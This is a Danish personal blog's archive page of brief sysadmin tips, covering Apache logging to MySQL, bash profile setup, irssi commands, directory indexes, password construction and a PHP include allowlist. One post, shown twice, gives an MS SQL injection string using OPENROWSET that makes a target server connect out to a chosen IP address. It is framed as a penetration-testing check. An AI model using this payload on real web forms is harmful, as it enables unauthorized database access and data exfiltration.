Kategoriarkiv: Knowledge Base

Apache logfiles in MySQL

The database: Database changed mysql> describe weblog; +————-+————–+——+—–+———+—————-+ | Field | Type | Null | Key | Default | Extra | +————-+————–+——+—–+———+—————-+ | ID | int(11) | | PRI | NULL | auto_increment | | remotehost | varchar(255) | | … Læs resten

Udgivet i Knowledge Base, Old Base, SQL | Skriv en kommentar

Editing the .bash_profile to your needs

When you’ve installed bash from scratch or from ports on BSD bash is pretty ugly. it looks something like this: bash-2.05b$ pretty useless it is here .bash_profile comes in to view I’m not going blabber alot with long howto’s etc. … Læs resten

Udgivet i Knowledge Base, Linux | Skriv en kommentar

loggin in irssi

If you dont want to read the /help to find out how to log your channels and personal chats in irssi just use /set autolog on //Vladimirr – Vladimirr.dk

Udgivet i Knowledge Base | Skriv en kommentar

How to move channels in irssi

/windows move X X is the number you want to move the current channel to. Vladimirr.dk

Udgivet i IRC, Knowledge Base, Old Base | Skriv en kommentar

Enabling directory indexes in Apache (2)

The default setting should be something like: <Directory /> Options FollowSymLinks AllowOverride All </Directory> Just add indexes: <Directory /> Options FollowSymLinks indexes AllowOverride All </Directory>

Udgivet i Apache, FreeBSD, Knowledge Base, Lamp, Linux, Old Base | Skriv en kommentar

Strong passwords

1. Pick a sentence that has meaning for you and that you will remember. i.e. I work at cox today. 2. All consonants (or all vowels) become UPPERCASE characters. 3. All vowels (or all consonants as it is the opposite … Læs resten

Udgivet i Knowledge Base, Old Base, Security | Skriv en kommentar

Change MAC Adress on Windows 2000

Check out this new tool for changing MAC addresses on Windows 2000 & XP, for almost all Network Adapters out there! It doesn’t change the hardware MAC address, just the MAC address that got interpreted by the network adapter drivers … Læs resten

Udgivet i Knowledge Base, Networking, Windows, Workstation | Skriv en kommentar

Pen test, SQL Injection

Here’s the string you can drop in web form inputs to see if they’re vulnerable to SQL injection (on Microsoft SQL server anyway): ‘; select * from OPENROWSET(‘SQLOLEDB’,’192.168.0.1′;;,’select @@version’)– To verify results, replace the IP address w/ that of the … Læs resten

Udgivet i Knowledge Base, Old Base, SQL | Skriv en kommentar

Pen test, SQL Injection

Here’s the string you can drop in web form inputs to see if they’re vulnerable to SQL injection (on Microsoft SQL server anyway): ‘; select * from OPENROWSET(‘SQLOLEDB’,’192.168.0.1′;;,’select @@version’)– To verify results, replace the IP address w/ that of the … Læs resten

Udgivet i Exploits, Knowledge Base, Security | Skriv en kommentar

Secure include($_REQUEST[‘page’])

<? $allowed=explode(‘ ‘,’forside profil produkter sikkerhed service kontakt’); if (in_array($_REQUEST[‘p’],$allowed)) { include($_REQUEST[‘p’].’.inc’); } else { include($allowed[0].’.inc’); } ?> include file.inc as contained in $_REQUEST[‘p’] (query variable) if `file` are liste in the $allowed array.

Udgivet i Apache, Knowledge Base, Old Base, Security | Skriv en kommentar